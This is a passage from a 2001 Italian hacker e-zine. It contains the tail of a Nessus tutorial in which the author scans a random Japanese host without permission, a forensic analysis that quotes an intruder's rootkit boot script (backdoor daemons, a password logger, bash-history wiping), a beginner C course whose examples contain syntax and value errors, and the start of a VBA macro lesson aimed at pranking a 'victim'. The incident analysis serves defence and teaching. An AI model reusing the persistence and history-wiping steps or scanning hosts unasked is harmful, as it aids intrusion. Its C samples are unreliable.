# Read timeout for the sockets of the tests :
checks_read_timeout = 15
# Time to wait for between two tests against the same port, in seconds (to be inetd friendly) :
delay_between_tests = 1
#end.

Per kambiare la konfigurazione originale di nessusd ora siamo pronti per lanciare il demone:
#nessusd -D
A questo punto lanciamo il klient, ci kiedera' una password, inseriamola e ci troviamo di fronte alla skermata principale
di nessus in questa skermata premiamo su log in per loggarci nel server, adesso ci troveremo di fronte a 7 skermate,
nessusd host: Qui diamo le impostazioni per il server etc.
Plugins: Qui diremo a nessus quali "exploit" provare sull'host remoto, a meno ke nn desideriate certi effetti vi konsiglio
di disabilitare gli attakki DoS:)
Prefs: Qui ci verra' mostrata la konfigurazione di nMap mettiamo su syn scan etc.
Scan Options: Qui potremo selezionare il port skanner da usare nMap va bene, il path dei cgi etc.
Target Selection: In questa skermata potremo dire a nessus l'host da analizzare.
User: Qui potremo kambiare la pass e specifikare delle regole aggiuntive.
Credits: Qui abbiamo delle info sull'autore etc.
Ora siamo pronti per iniziare una volta impostato tutto klikkiamo in basso su start the skan per iniziare ad analizzare :D
A skan ultimato avremo un report di nessus su tutte le vulnerabilita' trovate.
Negli esempi ke seguono ho prima skannato me stesso e poi un *.jp a kaso;)
Esempi:
Target: 127.0.0.1
Skannando il mio host lokale nn ha trovato nessun sekurity warning^_^ mentre ha trovato 1 security notes;_; vediamo :D
Ah niente di preokkupante solo sshd attivo^_^ ;)
Ora pero' sara' meglio ke skanno qualke jp:D
Target: 1host.jp ;)
Lo skan e' finito adesso, e' durato un oretta umm vedo un bel pallino rosso:) klikko sul pallino e vedo 8 bug il primo
ftp mi fa notare ke il banner di ftpd nn e' stato kambiato in questo modo si puo' vedere la versione del demone e poi
mi fa notare ke potrebbe avere il SITE EXEC pero' dato ke nn si puo' loggare nel server mi konsiglia di verifikare;)
si e' buggato;D Poi mi fa notare ke c'e' ssh, ke c'e' telnet, il banner di telnet, l'apache 1.3.9 e mi konsiglia
di kambiarlo per rendere il lavoro piu' difficile al cracker di turno;) poi mi fa notare anke gli altri bug di minor
importanza e nn li cito:D ora possiamo salvare lo skan per poi kiudere nessus:D
Buon divertimento;)
Se mi dovete dirmi qualkosa, insultarmi etc. potete farlo a:
darkangel999@libero.it
DarkAngel999


<-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=->

+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [LiNUX] #02 - 18/06/2001 |
| UN SALUT0 AKL N0STR0 xyzzy ............................. [Tdi110cv] 0x10/0x25 |
+-------------------------------------------------------------------------------+

Autore : TDI110CV
Luogo : Ufficio
Orario : 13.30 (pausa !!!)
e-mail : tdi110cv@iname.com
Telefono : +8888 - 88
____________________________________________________________________________
Carissimi lettori , certamente avrete capito che questo non e' certo un
articolo su come bucare questo o quell'altro , ma piu' semplicemente una
nota introduttiva all'articolo che seguira'.
Nota che ho voluto scrivere io di mio pugno proprio per dare il benvenuto
all'autore incontrato a seguito di una diversita' di opinioni su Oltrelinux.
Onestamente non avrei mai immaginato di trovarmi davanti ad una persona del
suo calibro , ma non per questo ho comunque insistito per avere la sua
collaborazione. E' si !!! Diciamo che l'eta' non e' piu' certo quella media
degli smanettoni odierni , ma onestamente nelle sue mail ricevute si nota
trasparire una notevole voglia di collaborare , imparare , e insegnare tutto
cio' che proviene dalla sua esperienza.
Lui mi disse che non avrebbe avuto molto da scrivere ;
Io credo invece che l'analisi di un sistema bucato e la sua spiegazione sia
molto piu' costruttivo di un qualsiasi altro articolo teNNico.
Ebbene nella speranza che tu possa restare con noi , partecipare alla stesura
della nostra e-zine , trarre soddisfazione da questa nostra attivita' che
altro fa che costarci una marea di tempo buttato nel cesso , e
guadagnare qualche soldo anche da questa E-ZINE (ma dove ???!!! Se fosse
per l'e-zine faremmo tutti la fame !!! Approposito TRITOLOOOOOOOOOOOOOO
possibile che non si riesca a trovare uno sponsor ? cazzo chiama il
costanzo show che ci inviti na sera no ?! e poi la si trova sicuro.
Normalmente vai al costanzo con qualsiasi problema e te salta fuori la
soluzione e la popolarita'. L'ultima aveva l'unghia incarnita e gli hanno
aperto un centro estetico ; l'altra aveva denunciato un medico per avergli
fatto una sesta invece che na ottava , e ora il medico si ritrova a far
marchette per pagare i danni , insomma un po' di fantasia ! noi abbiamo jey
che con la scusa che e' un malato di mente ...).
Ragazzi io ci provo ... poi puo' andar bene o andar male , se va male ci
arrestano altrimenti si vedra' !
Vabbè tralasciando le puttanate concludo con fare tanti calorosi auguri a
Xyzzy , ti ringrazio io a nome mio , di Tritolo , e di tutti gli altri che
partecipano a questo progetto.
Nel frattempo sappi che le prossime uscite saranno anticipate di 1 mese , e
che per ogni articolo che vorrai spedirci , noi lo aspetteremo con il sendmail
aperto.
Di nuovo benvenuto e alla prossima !
... Si spera !!!
Il vostro - TDI110CV - ~ ondaquadra.cjb.net ~

+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [LiNUX] #02 - 18/06/2001 |
| ANALiSi Di UN ATTACC0 ..................................... [xyzzy] 0x11/0x25 |
+-------------------------------------------------------------------------------+

Analisi di un attacco
by xyzzy
May 31st, 2001

In questo documento si tenta un'analisi delle principali
componenti che costituitono un tipico attacco portato ad un sistema linux
basato su servizi vulnerabili quali, tra gli altri:
- rpc.statd versione
- wu-ftpd versione
______________________________________________________________________

Table of Contents

1. Introduzione

2. Sintomi

3. Anamnesi

4. Diagnosi

5. Terapia

______________________________________________________________________

0. Disclaimer e note particolari

0.1 Disclaimer (in english... sounds better ;)

This document is in a "rought straight" text format and I would not be
responsible for its misuse and/or damages caused by unproper utilization.
This information is free; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation; either version 2 of the License, or (at your
option) any later version. This work is distributed in the hope that
it will be useful, but WITHOUT ANY WARRANTY; without even the implied
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
See the GNU General Public License for more details.
For a copy of the GNU General Public License, write to the
Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA

0.2 Note particolari

Questo documento parte dal presupposto che esistano degli "indizi"
relativi all'attacco eventualmente effettuato, quali segnalazioni nei
file di log, modifiche a file eseguibili, nuovi servizi e/o nuove
porte di comunicazione aperte ed identificabili.
Tuttavia, non necessariamente un attacco presenta gli "indizi" di cui
al precedente paragrafo e l'elenco di "indizi" specificati in questo
documento non e' certamente completo. La descrizione e l'analisi delle
componenti che compongono l'attacco si basa su esperienze direttamente
vissute e vogliono essere un piccolo contributo all'attivita' di
controllo e manutenzione dei propri sistemi nell'ottica di ottenere
un maggiore livello di "robustezza" dei sistemi stessi. In questo
senso deve essere interpretato il contenuto del presente documento.

1. Introduzione

Cercheremo di definire le principali componenti che identificano
normalmente un attacco portato ad un server linux basato su servizi
vulnerabili ad un exploit remoto. Descriveremo le caratteristiche
di comportamenti di un generico "attacker" e scopriremo quali possono
essere i metodi per identificare e prevenire tali tipi di attacco.
Si cerchera' di elencare le principali caratteristiche rilevate, con
l'intento di dare una linea guida iniziale di riferimento per tutti
coloro che intendessero approfondire successivamente i concetti in
questione.


2. Sintomi

I principali sintomi di un sistema attaccato con successo sono:

- Comportamento "anomalo" durante la procedura di bootstrap.
Tipicamente, dopo la fase iniziale di "mount" dei vari filesystem
e prima che partano tutti i servizi possono essere visualizzati
messaggi di errore nell'avvio di qualche task che non corrisponde
ad alcuno specifico servizio. Classico e' il caso di una segnalazione
diagnostica di "tar" che segnala l'inesistenza di un file di tipo
".tgz", oppure che tenta di operare su directory inesistenti. E' questo
un sintomo abbastanza chiaro del fatto che la sequenza operativa di
bootstrap del sistema e' stata in qualche modo alterata.

- mancata od erronea risposta da parte di uno o piu' servizi. Nel caso
specifico, ad esempio, il proxy server basato sul server web apache
potrebbe non piu' rispondere alle richieste da parte dei client, oppure
il server ssh (se installato) potrebbe non permettere le connessioni.

- il comando "ps" mette in evidenza l'esistenza di task "anomali", quali
server ssh non configurati da noi oppure servizi attivati con switch
particolari e comunque "strani" (ricordo bene il caso di un server web
lanciato con le opzioni "-DHAV" che ancora oggi mi chiedo cosa diavolo
facessero... ;)

- alcuni file eseguibili (preferenza assoluta a quelli contenuti in /sbin)
risultano alterati nella dimensione, nella data di creazione, o persino
nel comportamento. Anche qui, il classico esempio e' dato dal comando "ps"
che e' stato sostituito con una versione che, quando eseguita, non
visualizza tutti i processi attivi, nascondendo quelli tipicamente resi
attivi dall'attaccante.

- alcuni comandi non accettano piu' tutti gli switch che il manuale indica
come ammissibili. E' la tipica situazione di sostituzione del file con
una versione diversa che, quindi, non accetta tutti gli switch possibili.



3. Anamnesi

Eh si, alla luce di anche solo alcuni dei sintomi di cui al punto precedente
(ma ricordiamoci che potrebbero persino mancare tali sintomi... e' sufficiente
che si abbia il *sospetto* che siamo stai vittima di una effrazione...) si
opportuna una accurata analisi del nostro sistema... questo punto cerca di
elencare le piu' comuni configurazioni che potremmo incontrare, senza (come
al solito) avere la pretesa di essere esaustiva. Ordunque, cominciamo.

3.1. Directory "nuove" in punti "strani"

E' questa una delle condizioni piu' diffuse. In fin dei conti un qualsiasi
attacco ha come obiettivo il permettere il controllo del nostro sistema
in un modo o nell'altro. E questo obiettivo e' ottenibile solamente
attraverso l'attivazione, piu' o meno continua o gestita, di uno o piu'
"punti di accesso" (comunemente definite in termine tecnico "backdoor", ossia
"porte di servizio") attraverso i quali un cracker puo', appunto, controllare
il nostro sistema. Pertanto, da qualche parte dovra' pur esserci un
comando che attiva tali "punti di accesso". La fantasia di chi attacca e'
sotto questo profilo davvero inesauribile. Si va dall'aggiunta di questi
nuovi "ospiti" direttamente all'interno delle directory "canoniche" (le
stesse directory che contengono i comandi "tradizionali") fino alla creazione
di nuove strutture nascoste all'interno di ramificazioni tipiche di tutti i
sistemi, magari utilizzando convenzioni di nomi che non insospettiscano
piu' di tanto. Un esempio su tutti: personalmente su un sistema violato ho
potuto provare l'intero "rootkit" (l'insieme degli strumenti usati sia per
la prima violazione, sia per il successivo controllo) sotto una non meglio
definita quanto "insospettabile" directory /usr/X11R6/lib/X11/.fonts/misc/.../
(sissignori... TRE punti, cosi' oltre che risultare nascosta poteva sfuggire
anche ad una analisi sommaria del comando ls -a; mica male, vero?).

Inoltre, una delle modifiche piu' comuni e' proprio l'inserimento all'interno
di uno o piu' degli script di bootstrap del sistema (quelli sotto la directory
/etc/rc.d/init.d o /etc/init.d, a seconda delle distribuzioni) di comandi che
attivano proprio i processi che implementano queste backdoor.

Un'altra pratica molto diffusa e' quella di cancellare in tutto od in parte
le linee dei vari file di log mantenuto dal sistema (normalmente memorizzati
nella directory /var/log) che contengono la segnalazione dell'avvenuta
violazione, allo scopo di rendere maggiormente arduo il compito di identificarne
il metodo e la provenienza, nonche' i comandi utilizzati e le operazioni eseguite.
A tale scopo non e' raro ritrovarsi con delle copie modificate dei comandi che
normalmente si danno per controllare lo stato del sistema. Un comando "ps"
opportunamente modificato potrebbe non visualizzare proprio *tutti* i processi
attivi, nascondendo proprio quelli "birichini", cosi' come un opportuno comando
"netstat" potrebbe non visualizzare tutte le porte effettivamente "aperte" sul
nostro sistema... meditate, gente, meditate... ;)

Altro? Beh, certo! Ma sostanzialmente gia' queste sono le cose che "normalmente"
si trovano su sistemi violati. Ancora una volta ricordo che stiamo parlando di
violazioni di tipo "generico", magari effettuate da "giocherelloni" o dai
classici "smanettoni"... sono convinto che, esattamente come accade nel mondo
"reale" dei ladri di appartamento, se chi opera e' un "vero professionista"
corriamo concretamente il rischio di non accorgerci di nulla... anche se, per
fortuna, un ladro di appartamento dopo il furto non si fa mai piu' ritrovare,
mentre un cracker ha tutto l'interesse a "ritornare" sul nostro sistema... in
fin dei conti lo ha violato proprio pèer ritornarci... quindi abbiamo piu'
probabilita' di "beccarlo"...

Concludo questo paragrafo con una lista di cio' che ho potuto personalmente
rilevare su di un sistema violato all'inizio dell'anno 2001. Durante
l'intervento in loco si e' rilevato quanto segue:

- al fondo del file /etc/rc.d/rc.sysinit si trova una strana chiamata ad
uno script "/usr/etc"

- in tale script sono presenti i seguenti comandi:

#!/bin/sh
cd /usr/X11R6/lib/X11/.fonts/misc/.../
tar zxvf vanish2.tgz
gcc -o web web.c
gcc -o vanish vanish2.c
rm -rf vanish2.tgz
./secure
./rx4u -p 86
./rx4u -f ./x
./rx4u -f ./y
/usr/sbin/sendmail -p 436 -q &
./httpd >> ./tcp.log &
rm -rf /root.bash_history
ln -s /dev/null /root.bash_history
cd /

che possono brevemente essere cosi' suddivisi e commentati:


* Primo gruppo

#!/bin/sh
cd /usr/X11R6/lib/X11/.fonts/misc/.../
tar zxvf vanish2.tgz
gcc -o web web.c
gcc -o vanish vanish2.c
rm -rf vanish2.tgz

- posizionamento in una directory nascosta, all'interno della struttura
di directory propria di X-Windows
- scompattamento di un archivio "vanish2.tgz" e compilazione di due ta

  
sk
denominato "web.c" e "vanish2.c"
- cancellazione dell'archivio compresso (da cui l'errore al bootstrap)


* Secondo gruppo

./secure
./rx4u -p 86
./rx4u -f ./x
./rx4u -f ./y
/usr/sbin/sendmail -p 436 -q &
./httpd >> ./tcp.log &

- attivazione di una serie di processi/demoni in attesa su specifiche
porte. Una successiva analisi ha portato a concludere che i task
"rx4u" e "/usr/sbin/sendmail" sono uguali ed implementano un server
ssh1 attivabile senza password, mentre il task hpptd e' un logger di
attivita' HTTP probabilmente attivato con lo scopo di tracciare
eventuali password in transito. Lo scopo del task "secure", infine, e'
quello di eliminare alcuni servizi quali "portmapper" ed "rpc.statd"
(serviti per l'exploit iniziale) allo scopo di evitare ulteriori
intrusioni. E' infatti pratica abbastanza comune nelle comunita' dei
cracker il rendere il sito "conquistato" non piu' attaccabile con il
metodo originario, allo scopo di evitare intrusioni di altri cracker e
mantenere in tal modo il controllo del sistema


* Terzo gruppo

rm -rf /root/.bash_history
ln -s /dev/null /root/.bash_history
cd /

- cancellazione del file dei comandi dati durante la sessione iniziale di
intrusione, collegamento del file in questione al "null device", allo
scopo di non conservare eventuali comandi dati successivamente ed
infine ritorno alla directory "/" iniziale, allo scopo di proseguire
regolarmente con la procedura di bootstrap

- nella directory nascosta di cui al punto precedente sono effettivamente
presenti alcuni file (sorgenti, log, eseguibili) che fanno riferimento ai
task appena descritti, segno inconfutabile di attivita' esterne al sistema
cosi' come impostato alla installazione

- i comandi "sendmail" e "ps" sono stati certamente sostituiti con degli
altri task, rispettivamente in grado di fornire un servizio di server ssh1
accessibile anche senza password (sendmail) ed una lista di processi
"mascherata" nascondendo i processi anomali in esecuzione (ps)

- i file di log del sistema, oltre ad essere mancanti di parti di log per
alcuni servizi, presentano tracce di accesso intorno ad un ben preciso
periodo di tempo. Si tratta prevalentemente di accessi
provenienti da alcuni sistemi situati presumibilmente in Romania ed in
Turchia, dai quali sono giunte richieste ai servizi FTP ed rpc.statd,
successivamente rivelatisi i due servizi che hanno permesso l'intrusione.



4. Diagnosi

Le intrusioni remote su sistemi linux avvengono principalmente sfruttando le
vulnerabilita' che di volta in volta si scoprono sui vari servizi che l'ambiente
linux stesso mette a disposizione. Tali vulnerabilita' vengono infatti rese
immediatamente di pubblico dominio (cosi' come le loro correzioni) ed e'
quindi abbastanza facile che, nei giorni successivi alla pubblicazione, vi
siano dei tentativi di violazione utilizzando quelle stesse vulnerabilita'.
Naturalmente, per essere vulnerabili, il servizio per il quale e' stata
pubblicata la vulnerabilita' stessa sia non solamente attivo, ma anche
implementato con il particolare server oggetto della pubblicazione. Voglio
dire: e' perfettamente inutile tentare di attaccare un server FTP implementato
attraverso una versione del server wu-ftpd *diversa* da quella per la quale
e' stata scoperta la vulnerabilita', poiche' il server stesso non ne sara'
affetto se non per quella specifica versione. Il risultato sara' una bella
delusione per chi tenta la violazione ed una bella riga nei nostri file di log
che ci avvisa che c'e' stato un errore di funzionamento del server, ma nulla
piu'. E' pero' pacifico che, vivendo una esperienza di questo genere, si
debba riflettere attentamente circa l'opportunita' di avere un
servizio di aggiornamento e manutenzione sufficientemente tempestivo, per
mantenere elevato il livello di "robustezza" dell'intero sistema. A questo
proposito si sprecano i fogli e gli inchiostri, quindi personalmente cerchero'
di risparmiare l'abbattimento di diversi alberi tacendo sull'argomento ;)
Chi comunque fosse interessato puo' ricercare semplicemente con un qualsiasi
motore di ricerca parole quali "hardening linux system" e simili piacevolezze.


5. Terapia

Come in tutti i casi di infezione (un attacco con successiva violazione non e'
un virus, ma il comportamento ha caratteristiche simili: rapida diffusione,
probabili recidive etc.) la migliore terapia e' la prevenzione. In questo senso una
serie di interventi pianificati con una certa frequenza,
volti a mantenere aggiornato il livello di sicurezza del sistema, e'
normalmente sinonimo di buona salute generale del sistema stesso. E' pertanto
calorosamente raccomandato un piano di manutenzione preventiva adeguato alle
necessita' dell'utenza, da discutere con le figure tecniche piu' opportune.

In sintesi il "consiglio" che mi sento di dare e'uno solo: OSSERVARE IL PROPRIO
SISTEMA! E per farlo utilizzate il primo e piu' affidabile dei tool a vostra
disposizione: I VOSTRI STESSI OCCHI! In fin dei conti, soltanto osservando
il comportamento di un sistema che funziona bene si impara ad accorgersi di
quando NON funziona bene... ;)

Se poi volete a tutti i costi utilizzare degli strumenti informatici, affari vostri,
io vi ho avvertito!

...no, sto scherzando ;) Gli strumenti informatici sono estremamente utili, ma devono
appunto essere trattati come *strumenti*. Nessuno di essi sostituira' MAI la vostra
sensibilita', il vostro acume e la vostra (certo!) INTELLIGENZA. Comunque sia, eccone
una lista, anche questa (c'era bisogno di dirlo? ;) assolutamente parziale:

- nmap - il "port scanner" per definizione. Molto probabilmente lo stesso strumento
che e' stato utilizzato dallo stesso attaccante per determinare se il
vostro sistema aveva una certa porta aperta e quindi un certo servizio attivo
- netcat - il "coltellino svizzero" di qualsiasi network administrator. Non mi
dilungo piu' di tanto su questo splendido strumento... non vi voglio certo
togliere il gusto di scoprirlo da voi... ;)
- iplogd - ottimo logger dei pacchetti IP in transito da e verso il vostro sistema.
Per di piu' e' stato implementato da un italiano, Leonardo Serni, e questo
ci fa davvero onore, credetemi! E, come se non bastasse, e' anche in grado
di "rispondere" ad eventuali richieste "birichine", fingendosi un server
in grado di accettare un controllo remoto... caldamente consigliato ;)
- tripwire - un tool in grado di tenere traccia, attraverso un meccanismo di checksum,
dei file presenti sul vostro hard disk, segnalando immediatamente eventuali
manomissioni di alcuni di essi e quindi mettendovi sul "chi va la" non
appena si verificassero modificazioni indesiderate, magari su file di
comando quali "ps", "netstat" etc.
- LIDS - acronimo di Linux Intrusion Detection System, e' probabilmente il migliore
prodotto disponibile per "blindature" di sistemi linux. Si tratta di una serie
di patches da applicare direttamente sul kernel che permettono il totale
controllo di cosa accettare e cosa no (accesso a file, attivazione di comandi
etc.). Attenzione a non esagerare, pero': un caro amico, probabilmente preso
dall'eccitazione, ha bloccato un po' troppo e sostanzialmente non e' piu'
riuscito ad accedere al suo sistema... Ha davvero dovuto reinstallare tutto!
(era persino riuscito a crittografare il file system, cosi' nemmeno con un
boot da floppy e' riuscito a recuperare i dati... bah! ;)

6. Conclusioni

Questo articolo e' solo il primo di una serie che prevedo di scrivere (se qualcuno
avra' la pazienza di sopportarmi, naturalmente ;) sull'argomento. Come ho gia' avuto
modo di dire e di scrivere, non mi reputo certamente un "guru" del settore, ma parlo
sulla base delle esperienze dirette che ho "vissuto" sulla pelle. La prossima volta
intendo entrare nel dettaglio di uno dei remote exploit piu' diffusi, quello basato
sul server rpc.statd distribuito con la versione RedHat 6.2. Un po' datato, certo,
ma non dimentichiamo che il principale scopo di questi articoli e' di tipo
didattico... chi vuole usare queste informazioni per attaccare qualche sistema in giro
per Internet, sappia che non solo non ha la mia approvazione, ma che le informazioni
che trova qui sono relative a vulnerabilita' gia' scoperte da tempo e, di riflesso,
gia' corrette automaticamente nelle distribuzioni piu' recenti.



"...e se invece fossimo solo riusciti ad annoiarvi, credete che non s'e' fatto apposta."

[Alessandro Manzoni]

alla prossima


<-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=->

+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [C0DiNG] #02 - 18/06/2001 |
| C0RS0 Di C ............................................... [JEYoNE] 0x12/0x25 |
+-------------------------------------------------------------------------------+

L'argomento che voglio trattare è una guida, o meglio un corso
introduttivo, per imparare il C.
Comincio a dire a priori che io non sono un professore, e questo
corso è per very very dummies.
Probabilmente qualche cazzata la scrivo, quindi sentitevi liberi di
correggermi, nell'eventualità che sbagliassi qualcosa. (HEY, NON SONO
MICA IL TRIT! :] )
Io opterei per saltare tutto quello che riguarda la storia del
linguaggio C, anche perchè penso che a nessuno, interessato ad
imparare il linguaggio, freghi qualcosa di Dennis Ritchie e di altri
personaggi "storici".
Andiamo subito a vedere un semplice programmino, che non fa
nient'altro che stampare a monitor una determinata frase:
/* Con questi caratteri apriamo una zona detta "commento", il
compilatore ignorerà tutto quello che è racchiuso in questi caratteri.
Il commento si chiude con gli stessi due caratteri, però messi in
maniera inversa, il commento può tornarvi utile per scrivere appunti
all'interno di un codice. */


#include <stdio.h> /* Includiamo nel progetto una
libreria
standard, che non è altro che un insieme
macro e strutture. Questi
file si chiamano
HEADER */


main() /* Definiamo la funzione Main, il
programma inizia sempre da qui, e
questa funzione deve SEMPRE essere
presente, in ogni programma. */


{ /*Qui si apre la funzione. */
/* Le istruzioni della
funzione sono racchiuse tra le
parentesi graffe
{ e } , le parentesi si
mettono SEMPRE
e rappresentano l'inizio e
la fine delle istruzioni */


printf("JEYoNE"); /* La funzione printf è
quella che si occupa di stampare
a monitor tutto quello che è
racchiuso tra le ".." */


} /* chiudiamo con la } la
funzione main() */


Bene, questo era un programmino semplice, il primo che si impara
quando si entra nel mondo del C.
Abbiamo visto delle cose fondamentali del linguaggio, per prima cosa
la funzione principale main(), che deve sempre essere presente nel
codice di un programma, dato che è quella che viene esegiuta per
prima.
Possiamo vedere che bisogna usare le parentesi ( ) per passare gli
argomenti alle funzioni, tali vanno messi dopo il nome della
funzione. Nel caso della funzione main() le parentesi rimangono
vuote, visto che main non richiede argomenti.
Per quello che riguarda la funzione printf() inseriamo tra gli apici
"..." il testo da stampare.
Ci sono dei parametri che possiamo aggiungere dopo il testo da
stampare, che eseguono dei vari tipi di comandi.
Per esempio c'è il \n che fa in modo che il compilatore vada a capo,
come se premessimo invio quando scriviamo in un documento di testo.
Il \t che indica il TAB, il \" che indica gli apici e il \\ che
indica il backslash.

La prima lezione è finita, non avete imparato nulla, anzi penso
proprio che se avete letto questo documento fino in fondo avrete
capito che è un corso a puntate.
Sicuramente quasi tutti starete pensando che sono un cretino a voler
fare un corso di C su una ezine che esce una volta ogni 3 mesi, e
magari sperare di avere molto successo....
E pensandoci bene non avete tutti i torti, quindi procederò con un
altro paio di lezioni, affinche avrete meno imprecazioni da usare
contro di me! :))

In questa seconda lezione andremo a parlare delle variabili e delle
costanti, che sono gli elementi base di un programma.
Le variabili devono essere dichiarate prima di essere usate.
Ci sono molti tipi di variabili numeriche, come per esempio le
variabili INT, che sono le variabili che possono contenere soltanto
numeri interi, le variabili FLOAT che possono contenere numeri
decimali, e altre variabili che vedremo in un secondo momento.
Per dichiarare una variabile dobbiamo scrivere il tipo di variabile
che vogliamo usare ed un nome che vogliamo attribuire alla stessa.
I nomi che possiamo dare alle variabili sono nomi qualunque,
possiamo dargli il nome che vogliamo, ad esclusione dei nomi dei
comandi del linguaggio, come int, float, char, double...
I nomi delle variabili non possono nemmeno cominciare conn dei
numeri o con dei simboli, come £ $ % / ? ; ecc ecc.
Questo è un esempio di dichiarazione di una variabile:

int jeyone;

Bisogna notare un altro piccolo particolare, il C è case sensitive,
quindi fa differenza tra le lettere maiuscole e quelle minuscole,
scrivere jeyone, JeYoNe oppure JEYONE non è assolutamente la stessa
cosa!
I comandi devono sempre essere scritti in minuscolo, quindi parole
come printf non possiamo scriverla come PRINTF.
La variabile che abbiamo dichiarato prima è una variabile di tipo
intero, chiamata jeyone.
Abbiamo terminato la dichiarazione con un punto e virgola ;

Ora vediamo come assegnare un valore ad una variabile:

jeyone = 150;
L'operatore "
= " assegna alla variabile un valore, in questo caso
il valore di jeyone è 150.
Scrivere:

jeyone = 100+50;

oppure

jeyone = 100+30+(10*2);

è la stessa medesima cosa, infatti il compilatore risolverà
l'espressione prima di compilare il codice.
Questa fase si chiama di precompilazione.
Ora andiamo a vedere come fare a stampare a monitor il valore di
suddetta variabile, non basterà inserire un testo tra le "
..", ma
dovremo anche inserire un %d nel punto di testo in cui dovremmo far
apparire il nostro valore, visto che si tratta di una variabile INT,
e inserire il nome della variabile dopo gli apici, separato da una
virgola.
Andiamo ora a scrivere un codice in cui avremo una variabile di tipo
intero di nome jeyone, e un printf che ne stampa a monitor il valore:


#include <stdio.h> /* Solita libreria standard*/

int jeyone /* Dichiariamo la variabile
jeyone */
main() /* Funzione principale main*/

{ /* Inizio della funzione
main()*/

jeyone = 50 /* Assegnamo a jeyone il
valore di 150*/

printf("
JEYoNE oggi ha %d anni", jeyone); /* Stampiamo
a monitor che JEYoNE oggi ha gli
anni del valore della
variabile jeyone */

} /* Terminiamo la funzione
main() */


Come abbiamo accennato prima, per stampare il valore di una
variabile INT dobbiamo usare il %d, per stampare invece il valore di
una variabile FLOAT, dobbiamo usare il %f.
Dopo aver visto le basi fondamentali del linguaggio, dopo aver visto
come dichiarare UNA variabile, vediamo come poter dichiarare più di
una variabile dello stesso tipo.
Dichiariamo per esempio due variabili di tipo FLOAT:

float trit, tdi;

In questo caso abbiamo comunicato al compilatore che nel codice sono
presenti due variabili, la variabile tritemius e la variabile tdi e
che sono due variabili di tipo FLOAT.
Sarebbe stato lo stesso se avessimo scritto:

float trit;
float tdi;
La differenza è stata che abbiamo dichiarato tutte e due le
variabili in un colpo solo, mettendo i nomi separati da una virgola,
e terminando sempre con il solito punto e virgola.
Come possiamo fare la dichiarazione di più variabili in un colpo
solo, possiamo fare anche la stampa delle stesse utilizzando solo una
riga di codice. Per stampare un valore a monitor dobbiamo utilizzare
il printf, come abbiamo visto prima:

printf("
tritemius = %f\n, tdi = %f\n" , trit, tdi);

Bene, ora che abbiamo visto come dichiarare e come stampare più di
una variabile alla volta, facciamo un esempio pratico, in modo tale
che posso ritenere chiusa anche questo capitolo:

#include <stdio.h> /*La solita libreria*/

int jey, malk; /* Dichiariamo 2 variabili
INT */

float trit, tdi; /* Dichiariamo 2
variabili FLOAT */

main() /* Serve il commento? :) */

{ /* Cominciamo la
funzione main() */

jey = 150; /* Assegnamo a
jeyone il valore di
150 */
malk = jey - 11; /* Assegnamo a malk
il valore di jey
meno 11 */

trit = 1.5; /* Assegnamo a trit
il valore di 1.5 */
tdi = 7.138; /* Assegnamo a tdi il valore
di 7.318 */

printf("
jeyone è uguale a %d\n , mentre malk è %d" , jey,
malk);
/* Abbiamo stampato
a monitor il valore
delle variabili jey e
malk, abbiamo messso il %d
perchè si tratta di due
variabili int */

printf("
tritemius vale %f\n , mentre tdi vale %f" ,trit,
tdi); /* Anche qui, abbiamo
stampato a monitor
il valore delle due
variabili, essendo due variabili
FLOAT abbiamo messo il %f */

printf("
jey=%d , malk=%d , trit=%f , tdi=%f" jey, malk, trit, tdi);
/* Abbiamo stampato
a monitor tutte e
quattro le variabili in un
colpo solo! Mica male, eh? :) */

} /* Chiudiamo la
funzione main() */

Guardando questo codice, possiamo notare una cosa che va oltre a
quello che abbiamo spiegato fino qui, cioè come abbiamo fatto ad
assegnare il valore alla variabile malk:

malk = jey - 11;
Il valore della variabile malk è 139, cioè l'equivalente di jey
(150) meno 11.
A questo punto possiamo capire che possiamo inserire un'espressione
dando, oltre ai valori numerici, anche il nome di un altra variabile.
I valori fondamentali sono:

+ addizione
- sottrazione
/ divisione
* moltiplicazione

Uff! Anche questa è andata, per ora vi ho dato un pò di cose da
fare, ora non resta altro che recuperare un compilatore C e provare
quello che abbiamo visto fin qui.
Nella prossima puntata parleremo del #define, cioè di come impostare
un valore numerico ad un nome, dello scanf, cioè di come stampare dei
dati immessi dalla tastiera, dei loop, cioè di come ripetere
un'esecuzione un determinato numero di volte, e di conseguenza del
for.
Per ora vi saluto, sperando di ricevere anche della posta dai
lettori.
Ciao a tutti, il vostro JEYoNE.

+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [C0DiNG] #02 - 18/06/2001 |
| iNTR0 ALLE MACR0 (parte 3 e 4 di 8) ...................... [Mastro] 0x13/0x25 |
+-------------------------------------------------------------------------------+

MACRO: PARTE 3° "
PROGRAMMAZIONE MEDIA"

Ok!
In questa parte vedremo soprattutto come divertirsi a scopo della nostra vittima..... ;)
Per questo ora vi spiego i comandi MsgBox e InputBox:
il primo visualizza un messaggio ma il testo e il tipo di messaggio lo decidiamo noi.

Sub pippo()
macro creata il xx da xxxx
MsgBox "
Qui ci va il testo da inserire", qui ci va il tipo di messaggio (errore, avviso, ecc...), "Qui ci va il titolo del messaggio"
End Sub

Le virgole sono molto importanti, perchè dividono il messaggio dal tipo di bottone e dal titolo, quindi NON dimenticatele o farete una accozzaglia paurosa!
I tipi di messaggio sono:

vbOKOnly Visualizza solo il pulsante OK.
VbOKCancel Visualizza i pulsanti OK e Annulla.
VbAbortRetryIgnore Visualizza i pulsanti Termina, Riprova, e Ignora.
VbYesNoCancel Visualizza i pulsanti Sì, No e Annulla.
VbYesNo Visualizza i pulsanti Sì e No.
VbRetryCancel Visualizza i pulsanti Riprova e Annulla.
VbCritical La migliore!=> Visualizza l'icona di messaggio critico.
VbQuestion Visualizza l'icona di richiesta di avviso.
VbExclamation Visualizza l'icona di messaggio di avviso.
